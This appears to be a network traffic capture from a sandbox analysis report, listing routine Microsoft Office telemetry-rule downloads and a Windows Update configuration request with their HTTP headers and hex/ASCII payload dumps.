2024-12-07 17:27:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:03 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:03 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172703Z-r1cf579d778v97q7hC1EWRf95c00000002h0000000007vy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:03 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:03 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:03 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fdf36bd3-a01e-0070-1e03-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172703Z-r1cf579d778t5c2lhC1EWRce3w00000003r0000000001ngv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:03 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:03 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:03 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172703Z-r1cf579d7789trgthC1EWRkkfc00000003q0000000003ftk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:04 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:04 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:04 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172704Z-r1cf579d778g2t6ghC1EWRfggs00000002d0000000003yqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:04 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:04 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:04 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172704Z-r1cf579d7788pwqzhC1EWRrpd800000003ag000000000yzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:05 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:05 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:05 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3c0425b1-401e-0047-7c03-488597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172705Z-r1cf579d778bb9vvhC1EWRs95400000002e0000000009btr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:05 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:05 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:06 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172706Z-r1cf579d778dndrdhC1EWR4b2400000002m000000000625b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:06 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:06 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:06 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172706Z-r1cf579d778g2t6ghC1EWRfggs00000002ag0000000076qd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:06 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	49842	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=27rhDXmSeoS1m3O&MD=LTrsryzY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 17:27:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: c4c91d14-e10e-44e0-b465-2fe2d7848ec1 MS-RequestId: b4a018cd-a39a-462e-bf4c-e43aabb32017 MS-CV: Aex/6SN2G0+oiczC.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 17:27:06 GMT Connection: close Content-Length: 30005
2024-12-07 17:27:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-07 17:27:07 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:06 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:07 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 315ad4be-c01e-0014-2a03-48a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172707Z-r1cf579d778qgtz2hC1EWRmgks00000002s0000000006p0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:07 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:07 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172707Z-r1cf579d778qlpkrhC1EWRpfc800000003q00000000035sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
